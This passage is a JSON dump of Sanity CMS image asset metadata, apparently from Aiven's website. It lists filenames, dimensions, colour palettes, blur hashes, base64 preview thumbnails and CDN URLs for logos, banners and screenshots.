nding_page_meta_preview_image_1200x630.jpg","path":"images/sczeoy4w/production/75bca2c5cb3a5ca6ad2dc803ce2bb656206a4591-1200x630.jpg","sha1hash":"75bca2c5cb3a5ca6ad2dc803ce2bb656206a4591","size":186814,"uploadId":"zrvuHcUMAG6ZUzR2WOznaSUw9tQ5bwID","url":"https://cdn.sanity.io/images/sczeoy4w/production/75bca2c5cb3a5ca6ad2dc803ce2bb656206a4591-1200x630.jpg"} {"_createdAt":"2022-06-30T19:55:53Z","_id":"image-75dd2d37d005a7090467224cd1621cddbc3dc403-1400x353-png","_rev":"cEPH2uRN58AU2lp9QO7WdV","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:14:28Z","assetId":"75dd2d37d005a7090467224cd1621cddbc3dc403","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DYSPCIof.Tt7ogv{fQtmj[bH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.9660056657223794,"height":353,"width":1400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAA7CAAAOwgEVKEqAAAAA4ElEQVQYlW3OYUuEMACA4fvzItEPCPorlcbR1YeOiKODjrvTdE6nc845N51zW8TFVdD7/YF34U5ZaycpwLpaXTXLC766JKFfBx5b+vTeR7ceDrx+fT2jF6els/aEFmds9MQxKHZP5e6BHB7zbZi83mSbu3wbgk0A30ISP49tbufpm/xg58w896xFMC1gWhUZ+DhG+/c0PuZpnET7JDpgBAfRW2P+wdaYQfAGl01dMUpwWZQFbAimdYUgQDBjtNFqPD//wc4aNQhOiejaaRRK8lFyreTYdx2te9ZqJb+ef+FPNjIVUxqiHBEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#925006","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#854906","foreground":"#fff","population":0.36,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#faa93c","foreground":"#000","population":3.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbbcbc","foreground":"#000","population":1.8,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc57","foreground":"#000","population":0.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c787b","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#faa93c","foreground":"#000","population":3.65,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"75dd2d37d005a7090467224cd1621cddbc3dc403-1400x353.png","path":"images/sczeoy4w/production/75dd2d37d005a7090467224cd1621cddbc3dc403-1400x353.png","sha1hash":"75dd2d37d005a7090467224cd1621cddbc3dc403","size":42524,"uploadId":"7g9YUg7zJseiIGA35ZKoQ6aDzsCvXtYb","url":"https://cdn.sanity.io/images/sczeoy4w/production/75dd2d37d005a7090467224cd1621cddbc3dc403-1400x353.png"} {"_createdAt":"2024-08-30T08:24:26Z","_id":"image-75eb324b9f19817402e18c11996f0a0e108b2371-1783x1520-png","_rev":"uoxN7hjTZfWhT8KF30pvnS","_type":"sanity.imageAsset","_updatedAt":"2024-08-30T08:24:26Z","assetId":"75eb324b9f19817402e18c11996f0a0e108b2371","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eKEVqKjc5PkDVp%%bIwHj[ITFpf+rTf5M^;ajZF$f+r=Dzj[wbj[N#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1730263157894736,"height":1520,"width":1783},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAAsTAAALEwEAmpwYAAAFWElEQVQ4jR2PeUxTdwCAfw4BFZ2iOIZEXOa1zTkxMM1izLJodE5EUKG3bWn7XlteDyjWQoUWWqgcr9QKBpnj8uIQUOQUqgKKCH1tgQkyplEj6ngHw7gobvYt+P+XL98HTuTiwFJEgKxCwi/Tii8qqiB8K+vJT0sukF+cvUgGVzdT85OMrwBNe0FdG+V3roYMLr1MrqqsJxedLCL8jSgekGnF5+eeIUBGPg7A9LsZUN9B+ZRcIJeeLieCKq6QAY2dVMClJnLFpSZy2dmLpH96Hu6bVYj7VlwhF1xuIgNrWqjAq11UQMUVcnnpJTKksp4M6MGm5/ESpwBouEGB1m7Kr66NWjonqWujFpfVkgts54glBSXEsmw7sdxsI1aabURQjp0IzC8hlp0uJxbPcdcc1KqrndSa5ltUYMddymfuFgBAg9pW3KesllxYXEUsRUuJQJONWGkowEOMKB56+jdqTW3TzPrLjTPr0BIyLCMfDzWieAh6lgguryNDq5vJkIYb5JImB+FjL6cBMNkov6xCMiDTSgQZUTzMiOLrjCi+wVCArzXbyNU1TW/CnCOzX933zG4oq3m9OhMlPjKZVnyjyYavzz5FrMm2Eyuy7eQik43yBak5k9+lWV58k5H/17dGdCo8yzoVbi7EvzZZp77UmSfDVKnjGzSpw9s0aSORKv3EujTLyzBzIb7WVIhvykTxcGPB1Jb0vFeb0iyTm/QnX0SAZMNjtSJ1PEqb9TTcWEht1ueTW5WGF99zkfEff+Fg8ftjHDpWVMOZ+Khr9n2xPUkHeO5YgWpiZ1Lmy8j0fDLciBKbNYbHkUr9RJzW9CwDKPUTNr7CzYwTD24Wwf2RkKCdwWe36A8ecZTviu3tjj5y8zHMaJxOiLtO7jvUPb770J3OWNbtEqHIkQLJeg8K5diWI6L7W0XqYUhjfFIFZNqxCiavK5X9c7FUuS/boosytGqjTX/AB4qmGQdr3nM5bXQi3ElLIQfN4nXRLNa12UT+BSJVXPq7LqGkHuH+msGMq4a5UJ9Jnf6oEUDJD+5xWdf7ZT9bRgx7FS/R/aK39mihF42S0NnRKjqbneHNg3K9uXLUmw2h3pNQHn0KsdDFqpwPVrnlTUaC9bmUW+XhS7r7Fal/OgGim6hPEN10QofPTaVEm96bDiTTtmghfT52P93B2uZ1wuHeUU2k98Gx7d4B9U5vuyLWe16hou1IDm2W2b1acdk7qbhpElIO9iVlPKkGGuPTPZDarRFCPQ3ihPYxKbdm6hij4E0JR/BvD7SNfpa8hn59IpT+W7+KfpS0lu6U7/LaJdpZLXR+Ri5tfy6W3naJFQOViO4hfNz8fCfgSN2RvESPQqgaakhQDTuFiPu+CLrZr5FUPSyQmvFqRPy2UxX9oUMZ81+VXP6PBc57pYZrRyRIX69YPXxHqBzqFSg85XxkiMeRujcChti5hw1jWQLE3S5QuPt4co/jaKK7TaBw9UDKgcFkZafnBFI9plfUjaqUt9wSpXNAgLhv8RFPi0DhcSQoPfcEiLuZK3PpmBLnDsCUYJ+zYSySJ3PFcaSYmgNjxfxEV5cAcbv4iuHeBPXodWnKWKNEM9YoUD5oESiG5gQYV4a1smGskCd3qfiJ7nie3BXBgrCVc4Ughjcw77Bg0J8hdgZzpK4dR+UumCtzmbhSrEik8jTItSN3JUlDPTwZVs2RYjaezGXgSF18pgSLYIidQfEip/9hweA8pgQDH4XI8REQsasbAKACLAjzYcNYAEPsDGXD2G6J2pMrSxm6LVZ7Orgyl54pwX5gSrDPmBJsIRvGPtm+txf8FNMHdKbRuVvwP6xp2+N19B5BAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#363b68","foreground":"#fff","population":3.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d1559","foreground":"#fff","population":0.25,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f57407","foreground":"#fff","population":3.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7876be","foreground":"#fff","population":0.88,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f8ee8","foreground":"#fff","population":2.21,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4f569d","foreground":"#fff","population":1.86,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f57407","foreground":"#fff","population":3.67,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-marketecture-for-store-dark-theme.png","path":"images/sczeoy4w/production/75eb324b9f19817402e18c11996f0a0e108b2371-1783x1520.png","sha1hash":"75eb324b9f19817402e18c11996f0a0e108b2371","size":132668,"uploadId":"coNl2aburG3vS2Wg4PphOs02OGarz8Fq","url":"https://cdn.sanity.io/images/sczeoy4w/production/75eb324b9f19817402e18c11996f0a0e108b2371-1783x1520.png"} {"_createdAt":"2024-04-11T13:40:09Z","_id":"image-75f6e3083b0771faa66cbc624267ad16d83ef0b2-4320x1995-jpg","_rev":"FKB2VSfLo1od9Oar6KEjTN","_type":"sanity.imageAsset","_updatedAt":"2024-04-11T13:40:09Z","assetId":"75f6e3083b0771faa66cbc624267ad16d83ef0b2","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB7dPV0{}u5k=xMttSROo$V?BC;JBX+?Fg","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1654135338345863,"height":1995,"width":4320},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAJABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYBAgQH/8QAIBAAAQMDBQEAAAAAAAAAAAAAAQACAwQFEQYUMTI1c//EABUBAQEAAAAAAAAAAAAAAAAAAAUG/8QAHREAAgEEAwAAAAAAAAAAAAAAAQIAAwWB0RITUf/aAAwDAQACEQMRAD8A4bsQrMoGlwB4W9S3sFcdKeQ/kY023R0E9BBLIZWlzc4GEJwtnl0fyahFPa3ZiRXcZGomtxRVANBDg7n/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c345c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#092483","foreground":"#fff","population":0.21,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e94e0e","foreground":"#fff","population":2.66,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8479b9","foreground":"#fff","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c9cfa","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b46267","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e94e0e","foreground":"#fff","population":2.66,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"bg-blue-dark-pattern-right.jpg","path":"images/sczeoy4w/production/75f6e3083b0771faa66cbc624267ad16d83ef0b2-4320x1995.jpg","sha1hash":"75f6e3083b0771faa66cbc624267ad16d83ef0b2","size":1789168,"uploadId":"E45gbnJpzkAqxvLeIQ5SA6PV11xnD20Q","url":"https://cdn.sanity.io/images/sczeoy4w/production/75f6e3083b0771faa66cbc624267ad16d83ef0b2-4320x1995.jpg"} {"_createdAt":"2024-07-31T09:59:10Z","_id":"image-75fda035820e9767c338f74b29785aa1ffbeb05a-991x232-png","_rev":"YaKEzcVhnb7P0fmfv5nLi0","_type":"sanity.imageAsset","_updatedAt":"2024-07-31T09:59:10Z","assetId":"75fda035820e9767c338f74b29785aa1ffbeb05a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DDTNa4yrg3wJe9|sjZfjjtfk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.271551724137931,"height":232,"width":991},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAABcSAAAXEgFnn9JSAAABT0lEQVQYlVWLsUsbcRiG79IEYwahVG1KRC2tJmJqpwjdzJBJXO5yeFCKbYxG1COxtUEHpYFWaIZuXTqog6urQ/+Bbk5ut/gnCNIfpd73PSU9FBweeF7e97Vw7L/4mRvWnkYEUxFLgxHVBxFuIsJLxe7YEe4tiQg37tW1b+Kc+IObOMexv1haTQpBQfT7snD0QbRTEWpZ0caYaOuFaJAX3ZwU7W3WxkWXHom+eSj6dkh0ZURYfyZsTPQ+V1STFxZ+/zWf54WfP+DXKRxvQ7sE+2XounCwAF8d6DqwNwfrz2F1FJrTsPMKPlWgU4GgAF5KLPzMGfvlSw5bvznZNXzzDc2iYWvG8LFkeP/S0C4Z2rOGoGCoZQ21x4bGuGEzH29bRUM9Z/CSxlIv5fNu+IT6yIXWcyHLT0JeD4T4/f/RxfSd0/PFdKh+5l6O6QvxUuE/+vr3+QONJIUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#985444","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#891004","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":36.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4cebe","foreground":"#000","population":0.02,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fceaa4","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a98c62","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":36.47,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-aiven-live.png","path":"images/sczeoy4w/production/75fda035820e9767c338f74b29785aa1ffbeb05a-991x232.png","sha1hash":"75fda035820e9767c338f74b29785aa1ffbeb05a","size":33480,"uploadId":"piPNj2eriJwb73WsuWajgwAmcvZ5WiC0","url":"https://cdn.sanity.io/images/sczeoy4w/production/75fda035820e9767c338f74b29785aa1ffbeb05a-991x232.png"} {"_createdAt":"2022-08-25T12:18:24Z","_id":"image-76028fc627dad2c80604a34dd9c9b5488375a3f8-800x499-jpg","_rev":"5QPb9KWQ58ZSt63EYvgjyP","_type":"sanity.imageAsset","_updatedAt":"2022-08-25T12:18:24Z","assetId":"76028fc627dad2c80604a34dd9c9b5488375a3f8","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VJGa;3xC00NetS#kxEt7S4R.04j=~9s:t7KPNdM}xDxD","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6032064128256514,"height":499,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAMABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABgAEB//EACIQAAEEAgICAwEAAAAAAAAAAAECAwQFABEGEgdxITJBUf/EABUBAQEAAAAAAAAAAAAAAAAAAAQF/8QAHxEAAgIBBAMAAAAAAAAAAAAAAQIDEQAEBRIhE0FR/9oADAMBAAIRAxEAPwAT46oKXkbrceZttYB7FKiTvG3KvHdSisXJgx0xmWGtFS1nss/3WcSqbOZVTW5MB9bLzagoFJ/cRW3OL+3irjzpyltrV2Oho+vWPl2/VtPzhmpfYN4RNZD4+Lx2fvWHp8RmNILbUpt1IH2SDr1lmRz5WScssKrAUWvJ7MCehn//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c2b64","foreground":"#fff","population":0.53,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":36.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":36.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a7bed5","foreground":"#000","population":0.41,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6e25f","foreground":"#000","population":0.14,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a651ac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8a817","foreground":"#000","population":13.72,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"highlight-devops-tools.jpg","path":"images/sczeoy4w/production/76028fc627dad2c80604a34dd9c9b5488375a3f8-800x499.jpg","sha1hash":"76028fc627dad2c80604a34dd9c9b5488375a3f8","size":166090,"uploadId":"jjnpCqZiVGdfTGnqCrqf0zRkatqZ6pjJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/76028fc627dad2c80604a34dd9c9b5488375a3f8-800x499.jpg"} {"_createdAt":"2023-08-17T14:55:19Z","_id":"image-762f348994d9a83bd1cd660ba5b035cd535ce846-1200x628-png","_rev":"B2qRym1lObpfgwjNwgdIJh","_type":"sanity.imageAsset","_updatedAt":"2023-08-17T14:55:19Z","assetId":"762f348994d9a83bd1cd660ba5b035cd535ce846","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TNl}.%XM+bds~CpbaJiKidZhZif,b]gf","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACHElEQVQokVXS6zOUARiG8RdZkkYHFUZF2EqLilBLpqaJ6Wvnk6HzJJ1mNQ6JYVtrLYsymqZ/da+rWW8f9OH5+pv7ee4n4G6pvKyXj63y6ax8aJZPzTLVJt86ZbZNP9fIm1J5XSRjxTKxX5KNshqT7BnJtMhaTDYvGnC/XN42yVSPfL0s010y2y2pa7J8Q1J9MntOEnWSOCqTNbJwSja6ZXtAch2y1CDpRsk0G/Bgr7yLytc+mR+Q+X5ZHJDlQckOSea6pPsl1SOLHfK9XdZ65feQ/Lkl6xcldUKStbJQvQucictsn8z1ycJVWb4pK4OSHtCluCS7ZLrhX8ImWT0v652SPReunG6QxZpd4GSPzPTKXDwEk4W03TLZol9OhiuP75P3EZk6JN8bQyzXIRsXJBeTTJMB9yLyvFbGo2EpiZh8icnEaRk/Jq/K5XVE3pbLWKl8KJOZI5KOhliuXdY7wlmJGuRvF7tTzONKGd4vI5UyWiHPymW0RJ4Vmt0riYOSOCATVTJXJyutYbLsmR1oJ2EuZpC/s8f80wPmRw7LSJU8icijQJ4EMhzI8xJJVMtiUzjzx8OXWWuXzcINT0smGuJbPQb5exHzo8fMv6qXF0dluEIeF+0Ci0Mw3SrZdkkVCoiG7f68FP5frm0HYzteWLnIAsqDMnlYKg+L/084WiTvKyXZItk2SZ6SpahsdslWr/zolB+XZPuK/Ir7F8ySB5VFXI5uAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":13.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#915807","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8c47b","foreground":"#000","population":0.35,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b59a54","foreground":"#000","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":13.58,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven is tightly connecting streaming data with the BigQuery ecosystem.png","path":"images/sczeoy4w/production/762f348994d9a83bd1cd660ba5b035cd535ce846-1200x628.png","sha1hash":"762f348994d9a83bd1cd660ba5b035cd535ce846","size":176954,"uploadId":"CDRcNsV5FkVaC9o5b4vRiWr2AiaLELZd","url":"https://cdn.sanity.io/images/sczeoy4w/production/762f348994d9a83bd1cd660ba5b035cd535ce846-1200x628.png"} {"_createdAt":"2024-03-25T16:06:48Z","_id":"image-764168fa6840782f972d118a3e51d21b7d03d6d2-900x300-png","_rev":"Y34ePYFQ489qDVybEK0Pm5","_type":"sanity.imageAsset","_updatedAt":"2024-03-25T16:06:48Z","assetId":"764168fa6840782f972d118a3e51d21b7d03d6d2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DC0D]ah2eSgOeSeSgielgOel","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3,"height":300,"width":900},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABWElEQVQokS2RT0vWURSEn2gnRS1LCKKSaveSRUiLCloErYyQxIisNIXsz6JFi5lVH8BatIpaJGeIqHUgSloKQX2nuPf9LYZzhwsPc+aA8wHnF8o/lD8of1Hto3qD6jzOUZzjKBdQrqKcRnUM5yLOdZxJVAdwQAGcLzj7g3Zw9vpbWce5iXIL5x7KKsoLnAc4d1Ge4KzizOCaQEUXzjec32NYbeL8HPw7nFlcSyivcdZQreAs43qMs4SzgHMZ1aEOcx1swK8ouyjbqH7gbOHm6y1u6apBZ1GNUM7gnMU5hzOFcwrnBM5hnCM4Jxvw+7DmLs4mqh2UPVTvce6jWuxJVZdwRrimcZpGg2ZwruDcwJlvwA3Uu2vAcbpxl63DRVTPcV7i3tlTnObXcFZQPUK13P+VV32iGNVHlML5PMxPOM9wrqFqR5lDuTMcpPXXupvrx2mpnIeo6/Z/Lnnad+JDaWgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#38415d","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#064c89","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#087ac5","foreground":"#fff","population":0.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#055b93","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7fc9f9","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#405e6e","foreground":"#fff","population":0.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#087ac5","foreground":"#fff","population":0.36,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"splash-financial-logo.png","path":"images/sczeoy4w/production/764168fa6840782f972d118a3e51d21b7d03d6d2-900x300.png","sha1hash":"764168fa6840782f972d118a3e51d21b7d03d6d2","size":9232,"uploadId":"OqjdoyqYovCj41KgYkkYyo2Z3e3VAsIq","url":"https://cdn.sanity.io/images/sczeoy4w/production/764168fa6840782f972d118a3e51d21b7d03d6d2-900x300.png"} {"_createdAt":"2022-06-30T19:56:39Z","_id":"image-765d7a605531fb0daab9d3dcdf88bc8ca4b90013-1500x977-png","_rev":"cEPH2uRN58AU2lp9QO7eyf","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:57Z","assetId":"765d7a605531fb0daab9d3dcdf88bc8ca4b90013","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V04.9.%2%1sAD$%LaKxtxZjE~X%2xZV?IAre%1%2s.e-","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5353121801432958,"height":977,"width":1500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAABq0lEQVQokW2SjU7cMAyA8xrXtE38m/+0N2AwwR3j/V9qSquBhmZ9smzHtuI45jWtv/b8fn/7+P1xv91vb7eX55fWWvgmMaaUeu8PDw+Pj08/rtfeusm0ZqVacqu11VpLySkJMwIgACGqSIoxp3SSYkwhBlUhNug9OPcNv64n4Jww5xhLzjlGFSYA9GeOM4SI3n9mnwWfoHcEQACMKEwqpIFCIFViRiOMwsgEiIDgCT0TiqIoiaKGoY8ghMi5aunhJLdgRCgmSVVjlpg5lmHnFnLTg2GkorkcZdvB33rDjDFJaTG3WFo4ycMNpYZcTzeMhBq+KCFlNd65UR9UZIwhPPQXBKdxTiefp4REYGZrwXvwfpnn2drBZO00/Qc7zf9GzLIszITgF2vP117m0WK6XKbLxU7TbEev2R4tpzNol5ExGUKI48oAbhVEISTwx/JXcAv49XAdIwgh41jyuT9wq8khRB3LD6o5Ht8oxhhCEFFhHVoYUZlbKb2WPI5YiNA50+uQUurj08/b7f1+e399fXv6+bzv123I3vs2fqSGfduu+95737etlMKIfwCwJXGNFxVDygAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#364357","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#963e08","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a19f9f","foreground":"#000","population":0.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a19f9f","foreground":"#000","population":0.72,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c9925e","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#946c5c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bf6c25","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"765d7a605531fb0daab9d3dcdf88bc8ca4b90013-1500x977.png","path":"images/sczeoy4w/production/765d7a605531fb0daab9d3dcdf88bc8ca4b90013-1500x977.png","sha1hash":"765d7a605531fb0daab9d3dcdf88bc8ca4b90013","size":66872,"uploadId":"blyy6Nu6BUVkCD3EFGYdGa5f0QNxRwej","url":"https://cdn.sanity.io/images/sczeoy4w/production/765d7a605531fb0daab9d3dcdf88bc8ca4b90013-1500x977.png"} {"_createdAt":"2024-06-10T15:22:52Z","_id":"image-7686dfe50780c3dbc499b4506f0dc884f2e61c79-1670x358-png","_rev":"rE19qWqXtwbnyVyXl5PfVG","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T15:22:52Z","assetId":"7686dfe50780c3dbc499b4506f0dc884f2e61c79","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DFSY~zM{M}-:-:~qaxoej]a#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.664804469273743,"height":358,"width":1670},"exif":{"PixelXDimension":1670,"PixelYDimension":358,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAm0lEQVQYlY2Puw7CMBAE8//fFkGPkBAJBeSF/Dw7tjMoCQ0FgmKkbW52r8o5472gtUEpjdY7xlhCiJRSWJblb6r1wFrPo5to2o6m7en7J0oZnHOICCLhzZp3vPfbEJEZ4xLKzISYd6GxwuU6UB8a6mNDexu3kk/Zd+GkIvdBsD5RrTNjzHS943QeN8bJkVLeXlgLfxHngoTMnAovVq02Rjb/ynYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#101388","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0f1280","foreground":"#fff","population":0.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9ba5e9","foreground":"#000","population":0.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9ea0ce","foreground":"#000","population":0.23,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9ba5e9","foreground":"#000","population":0.24,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c629e","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#434bc2","foreground":"#fff","population":0.13,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Enable-custom-jars.png","path":"images/sczeoy4w/production/7686dfe50780c3dbc499b4506f0dc884f2e61c79-1670x358.png","sha1hash":"7686dfe50780c3dbc499b4506f0dc884f2e61c79","size":63083,"uploadId":"BBA2TQCYa5a13eGaMejWcme9uugDp4d8","url":"https://cdn.sanity.io/images/sczeoy4w/production/7686dfe50780c3dbc499b4506f0dc884f2e61c79-1670x358.p